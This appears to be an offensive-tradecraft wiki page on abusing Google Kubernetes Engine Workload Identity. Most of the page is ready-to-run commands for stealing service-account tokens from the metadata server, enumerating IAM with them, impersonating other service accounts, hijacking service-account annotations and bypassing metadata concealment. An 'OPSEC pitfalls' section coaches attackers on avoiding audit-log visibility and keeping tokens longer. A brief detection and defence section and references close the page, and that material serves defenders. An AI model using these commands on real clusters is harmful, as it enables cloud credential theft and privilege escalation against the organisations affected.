GKE Workload Identity abuse
TL;DR: GKE Workload Identity binds a Kubernetes Service Account (KSA) to a Google Service Account (GSA) via the
iam.gke.io/gcp-service-accountannotation plus aniam.workloadIdentityUserrole binding; compromise a pod and you get the bound GSA’s IAM, often with project-levelroles/editoror owner-equivalent. The classic mistakes are over-broad GSA bindings, sharing one GSA across namespaces, and forgetting to clean up annotations after a migration.
What it is
Pre-Workload-Identity, GKE pods used the node’s compute engine service account — every pod on a node shared one identity, usually roles/editor. Workload Identity fixes that by giving each Kubernetes ServiceAccount its own GCP identity through a GKE-managed OIDC trust: a pod requests a token from the metadata server (169.254.169.254 projected as a workload-identity socket), the GKE metadata server federates the KSA’s projected token into a GSA access token, and the SDK uses it transparently. Two halves of the configuration: (1) IAM binding roles/iam.workloadIdentityUser on the GSA, with member serviceAccount:PROJECT.svc.id.goog[NS/KSA]; (2) annotation iam.gke.io/gcp-service-account: GSA@PROJECT.iam.gserviceaccount.com on the KSA.
Preconditions / where it applies
- Code execution in a pod on a GKE cluster with Workload Identity enabled (cluster config
workloadIdentityConfig.workloadPoolset). - Or RBAC
create pods/create deploymentsin a namespace whose KSA is bound to a privileged GSA. - Or
patch serviceaccountto retarget an existing KSA’s annotation to a more privileged GSA.
Tradecraft
Step 1 — Identify the pod’s identity.
1
2
3
4
5
6
7
8
# Inside the compromised pod
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
# Returns the GSA email Workload Identity federated into
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns an OAuth2 token usable with gcloud / google-cloud-sdk
The legacy kube-env style of pulling node-level credentials no longer works on Workload Identity clusters; the metadata path returns the pod’s identity, not the node’s.
Step 2 — Enumerate the GSA’s IAM.
1
2
3
4
5
6
7
8
9
export TOKEN=$(curl -sH 'Metadata-Flavor: Google' \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \
| jq -r .access_token)
# Project-level bindings the GSA has
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJECT:getIamPolicy" \
-X POST -d '{}' \
| jq '.bindings[] | select(.members[] | contains("'$GSA'"))'
Look for roles/owner, roles/editor, roles/iam.serviceAccountTokenCreator, roles/iam.serviceAccountUser, roles/cloudbuild.builds.editor. Any of these expand laterally.
Step 3 — Lateral via iam.serviceAccountTokenCreator. With this role on a different GSA, generate an access token for that GSA and pivot:
1
2
gcloud iam service-accounts get-access-token GSA2@PROJECT.iam.gserviceaccount.com \
--impersonate-service-account=GSA2@PROJECT.iam.gserviceaccount.com
Step 4 — Annotation hijack. With patch serviceaccount in a namespace that has multiple KSAs bound to various GSAs:
1
2
3
4
5
6
7
8
9
# Discover bindings cluster-wide
kubectl get sa -A -o json | jq -r '.items[] |
select(.metadata.annotations["iam.gke.io/gcp-service-account"]) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.metadata.annotations["iam.gke.io/gcp-service-account"])"'
# Retarget a KSA you can patch to a higher-priv GSA
kubectl annotate sa myapp -n staging \
iam.gke.io/gcp-service-account=privileged-gsa@prod.iam.gserviceaccount.com --overwrite
# Deploy a pod with that KSA; metadata server now returns the privileged GSA's token
The retarget only works if the target GSA’s roles/iam.workloadIdentityUser binding already permits serviceAccount:PROJECT.svc.id.goog[staging/myapp]. Misconfigured shops list roles/iam.workloadIdentityUser with member: serviceAccount:PROJECT.svc.id.goog[*] — accept any KSA. That’s the goldmine.
Step 5 — GKE metadata concealment bypass. Some clusters enable “metadata concealment” or “GKE Metadata Server” to block pods from reading node metadata. Workload Identity replaces this with a per-pod metadata socket. If concealment is misconfigured (or the node is on Container-Optimized OS pre-1.21), you may still hit 169.254.169.254 directly and get the node SA — usually higher priv.
1
2
curl -s --interface eth0 -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
Detection and defence
- Cloud Audit Logs:
protoPayload.serviceName="iamcredentials.googleapis.com"shows every Workload Identity token mint. Alert on cross-namespace anomalies. gcloud iam service-accounts get-iam-policyper GSA; alert whenroles/iam.workloadIdentityUsermember ends with[*/*]or[*/x].- Defence: one GSA per KSA per namespace; never reuse. Use Workload Identity Federation pools, not shared GSAs.
- Set
automountServiceAccountToken: falseon KSAs that don’t need GCP access — prevents annotation-hijack via lateral pod creation. - GKE Sandbox / gVisor reduces the impact of node-metadata bypass.
OPSEC pitfalls
- Token requests show in Cloud Audit Logs with the calling pod’s KSA — your hijacked annotation is visible.
gcloud auth activate-service-accountwrites to~/.config/gcloud/; from a pod, you usually want to call REST APIs directly with the token rather than writing files.- Token lifetime is 1 hour — re-fetch loops are noisy. Snapshot a refresh token early if
iam.serviceAccountTokenCreatorchain allows.
References
- GKE — Workload Identity — concepts and configuration
- Rhino Security Labs — GCP IAM Privilege Escalation Methods — chain catalogue
- Wiz — Compromising GKE through Workload Identity — real-world chain
- Datadog Security Labs — Stealing GCP tokens — practitioner walkthrough
See also: gcp-iam-misconfig, gcp-service-account-enum, gcp-metadata-server, eks-pod-identity-abuse, gcp-cloud-build-trigger-abuse